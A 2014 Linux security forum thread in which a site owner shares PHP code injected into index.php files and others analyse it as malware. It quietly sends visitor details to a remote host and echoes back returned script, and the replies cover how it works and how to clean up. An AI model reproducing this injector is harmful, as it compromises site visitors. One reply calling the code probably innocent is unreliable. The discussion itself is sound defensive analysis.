LinuxQuestions.org
Visit Jeremy's Blog.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 02-09-2014, 10:25 AM   #1
PatriceJ
LQ Newbie
 
Registered: Oct 2008
Location: France
Distribution: Debian
Posts: 24

Rep: Reputation: 0
Thumbs down Server Attacked code


Hello,

I found on some index.php file the following code added
Code:
#530da5#
error_reporting(0);
ini_set('display_errors',0);
$wp_srx6146 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_srx6146) && !preg_match ('/bot/i', $wp_srx6146))){
     $wp_srx096146="http://"."html"."value".".com/value"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_srx6146);
   $ch = curl_init();
   curl_setopt ($ch, CURLOPT_URL,$wp_srx096146);
   curl_setopt ($ch, CURLOPT_TIMEOUT, 6);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $wp_6146srx = curl_exec ($ch);
   curl_close($ch);
}
if ( substr($wp_6146srx,1,3) === 'scr' ) {
   echo $wp_6146srx;
}
#/530da5#
Do you know what this code is doing? and what do you suggest to clean the server?
 
Old 02-09-2014, 12:45 PM   #2
Corpus-Khu
LQ Newbie
 
Registered: Oct 2011
Posts: 19

Rep: Reputation: Disabled
It is formatted oddly, Possibly sometype of code injection. What happens when you run the code, it looks like it would cause an error - a little later today im going to give this code a little attention, I have no idea what the preg_match is for.
 
Old 02-09-2014, 01:38 PM   #3
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
Check the site at http://www.unmaskparasites.com/secur...age=domain.com

Be especially alert for entries under "External References"

Please let us know...
 
1 members found this post helpful.
Old 02-09-2014, 02:03 PM   #4
sundialsvcs
LQ Guru
 
Registered: Feb 2004
Location: SE Tennessee, USA
Distribution: Gentoo, LFS
Posts: 10,659
Blog Entries: 4

Rep: Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941Reputation: 3941
Analyzing the code that is present here, it does not superficially seem to me that the code is malicious, although it is obviously machine-generated as evidenced by the variable-names ... as well as by the beginning and ending recognition-tags that bracket the code. I also know that curl() is fundamentally a mechanism for initiating a programmatic HTTP "ping" against a remote web site. So maybe this simply some kind of instrumentation code, designed to let someone out there gather usage-statistics ... that "someone" being, say, the legitimate owner of the code/site.

I don't recognize which automated utility might have generated this code-sequence, but I can say pretty certainly that it was generated in such a way, and that it was designed to be removable by the same utility with equal ease. If you know who authored the original page, or can contact them, they can probably tell you right away.

My instincts tell me, however, that this code is probably innocent.

Last edited by sundialsvcs; 02-09-2014 at 02:05 PM.
 
Old 02-09-2014, 02:37 PM   #5
astrogeek
Moderator
 
Registered: Oct 2008
Distribution: Slackware [64]-X.{0|1|2|37|-current} ::12<=X<=15, FreeBSD_12{.0|.1}
Posts: 6,264
Blog Entries: 24

Rep: Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194
I disagree, superficial analysis shows that if it is there without the website owner's knowledge, then it is an entirely malicious method of injecting content/code from a remote site into the page.

Here is a summary of what it does in pseudo code but with the actual variable names and paths:

Code:
error_reporting(0) - Disable the page's error reporting to avoid detection

$wp_srx6146 = @$_SERVER['HTTP_USER_AGENT'] - Get the user agent string

Test if it is a browser and not a bot, if so...

$wp_srx096146="http://htmlvalue.com/value/?ip=..."

Makes remote request with user IP addr, page referer and user agent, useful for delivering ads,
but also useful for more nefarious purposes such as automated compromise attempts of the user
machine...

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_6146srx = curl_exec ($ch);

Fetches "something" from the remote host htmlvalue.com and assigns it to a new variable $wp_6146srx

if ( substr($wp_6146srx,1,3) === 'scr' ) {
   echo $wp_6146srx;
}

Finally, if the expected something was returned as identified by characters 1-3='scr', 
echo it into the web page...
Now, note that the final test matches <script>, so undoubtedly it is fetching and injecting javascript into the user's web page. At this point they own the browser view of that page...

They may be injecting ads, or they may be injecting something MUCH worse...

A sure-fire way to see what it is injecting is to put your IP address into the following URL and fetch it with wget. I have not done so as I do not want to launch a bot attack on my own IP!

htt p://html value.com/value/?ip=YOUR_IP&referer=SOME_REFERER&ua=SOME_USER_AGRENT

If you care to do that and it returns something that looks like code, post it back here and I'll tell you what it really does...

The domain info (private):

Quote:
Registrant:

Name: Private Protection Co.LTD
Organization: Private Protection Co.LTD.
Address: NO.1111 Chaoyang Road, Beijing
City: Beijing
Province/state: BJ
Country: CN
Postal Code: 100000

Last edited by astrogeek; 02-09-2014 at 02:56 PM.
 
2 members found this post helpful.
Old 02-10-2014, 02:08 AM   #6
PatriceJ
LQ Newbie
 
Registered: Oct 2008
Location: France
Distribution: Debian
Posts: 24

Original Poster
Rep: Reputation: 0
Thank you

Thanks all of you for your time and answers.

I will test the code on my testing server and will let you know.

Patrice
 
Old 02-10-2014, 02:37 AM   #7
voleg
Member
 
Registered: Oct 2013
Distribution: RedHat CentOS Fedora SuSE
Posts: 354

Rep: Reputation: 51
This part is only reporting part about browsers visited this page,
and looks like simple statistics counter, but:

Looks like you have other parts of code, injecting something in rest of page(s).
Then, this report becomes interesting for attacker about infectected browsers.

1. Restore from good backup.
2. Make most things read only.
3. Close outgoing traffic by FW (if possible).

Last edited by voleg; 02-10-2014 at 02:39 AM.
 
Old 02-22-2014, 11:29 AM   #8
PatriceJ
LQ Newbie
 
Registered: Oct 2008
Location: France
Distribution: Debian
Posts: 24

Original Poster
Rep: Reputation: 0
Test of the code seen with Wireshark packet capture

Hello,

I have run the script on a dummy server that I use for test only.

I have used Wireshark to catch the traffic made by the code.

See the attached file.

If you could help decrypt, I would appreciate a lot.

I have changed the first number of my intranet IP by MyIntranetIP
194.158.122.10 is a DNS server


Thank you

Patrice
Attached Files
File Type: txt Hacker-Wireshark-output.txt (96.0 KB, 27 views)
 
Old 02-22-2014, 02:29 PM   #9
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
I'm sorry but Corpus-Khu should never have made that suggestion in the first place. (In a VM maybe, but you simply don't go around asking a victim to run code, especially code you don't understand yourself.)

The focus should have been on examining the extent of the damage, finding out how this could have taken place and then taking the appropriate measures.
Now you posted this on the 9th, meaning almost 2 weeks have passed, so please first tell me you did more for this server than play with Wireshark?
What did you do?
What did you find out?
 
Old 02-24-2014, 12:59 PM   #10
PatriceJ
LQ Newbie
 
Registered: Oct 2008
Location: France
Distribution: Debian
Posts: 24

Original Poster
Rep: Reputation: 0
I found nothing......
Wireshark seems to show that he try to get info from the server, but I'm not sure.
The dummy server did not show anything else in the logs.
The running server is (seems) fine.
 
Old 02-24-2014, 01:05 PM   #11
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
Over here... you said "I found the following code in several index.php files."

have you cleaned them?
 
Old 02-24-2014, 02:10 PM   #12
astrogeek
Moderator
 
Registered: Oct 2008
Distribution: Slackware [64]-X.{0|1|2|37|-current} ::12<=X<=15, FreeBSD_12{.0|.1}
Posts: 6,264
Blog Entries: 24

Rep: Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194
Quote:
Originally Posted by PatriceJ View Post
I found nothing......
Wireshark seems to show that he try to get info from the server, but I'm not sure.
The dummy server did not show anything else in the logs.
The running server is (seems) fine.
But other than finding out how the code got there, and removing it, it really isn't about the server!

The malicious traffic is not between that code and your server, it is between the remote host which the script contacts and the client which loads the script code from your server! So watching your own traffic log will not really show anything!

As Habitual asked, have you removed the code from all the files where you found it?

Last edited by astrogeek; 02-24-2014 at 02:23 PM.
 
Old 02-24-2014, 02:48 PM   #13
unSpawn
Moderator
 
Registered: May 2001
Posts: 29,415
Blog Entries: 55

Rep: Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600Reputation: 3600
Looking for your code you won't find much, but search for another wp_ value... Seems quite widespread. Anyway, here is another explanation, in line with what astrogeek wrote, and this points to a possible infection vector, leeched FTP credentials basically. Please check any machine with admin access for viruses and malware, check your server logs for intrusions and check whatever installed in your web stack for no longer maintained plugins or themes and basically any software versions considered stale, vulnerable.
 
Old 02-24-2014, 03:59 PM   #14
astrogeek
Moderator
 
Registered: Oct 2008
Distribution: Slackware [64]-X.{0|1|2|37|-current} ::12<=X<=15, FreeBSD_12{.0|.1}
Posts: 6,264
Blog Entries: 24

Rep: Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194Reputation: 4194
For web 101 class today, I have prepared a simple sequence diagram to illustrate where your server and the malicious script fits into the overall scheme of such... schemes.

Hopefully it will make clear that your server is only a vector for delivering the script, which is itself a vector for delivering additional scripts and potentially gaining access to and control of the client machine, i.e. your site visitors.

The sequence of events is from top to bottom, in the direction of the various arrows.

Note that looking at traffic on your server will see very little, only the delivery of the page code, including the script tag, to your site visitors. Everything else takes place after that point and is between one or more remote sites and the client machine itself - not visible to you!

Important to note is not only that they can and usually do vector to other URLs to load additional malware, but beyond the initial script request they have the IP address of your visitors, and everything that they can connect to it! They can then lanuch exploits directly against the client machine, not only via their browser... this is how botnets are constructed.

The follow on effects are spam email, DDOS attacks, banking and credit card fraud, targeted phishing attacks, extortions, threats, con games, manipulations, viruses, worms, obomacare and just about every other asssorted fraud and crime against otherwise innocent victims - all because they visited your website!

Please confirm that you have removed the code from your servers!
Attached Thumbnails
Click image for larger version

Name:	script.png
Views:	38
Size:	36.2 KB
ID:	14813  

Last edited by astrogeek; 02-24-2014 at 04:12 PM.
 
2 members found this post helpful.
Old 02-25-2014, 01:53 AM   #15
PatriceJ
LQ Newbie
 
Registered: Oct 2008
Location: France
Distribution: Debian
Posts: 24

Original Poster
Rep: Reputation: 0
Thank you everybody for your answers, I appreciate a lot and will continue to investigate.

Of course I have removed all malicious code, it is the first thing I did!
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
new server got attacked before launching agriz Linux - Security 8 07-23-2012 08:52 AM
[SOLVED] Apache server being attacked, strange requests. miragej Linux - Server 9 10-17-2010 07:44 PM
Has my linux server been hacked/cracked/attacked? jsalelle Linux - Security 11 12-31-2009 03:11 AM
Help me. My server is attacked DDoS ndduy Linux - Security 12 11-29-2009 02:47 PM
qmail server getting attacked lsimon4180 Linux - Software 41 10-15-2004 03:44 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 08:10 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration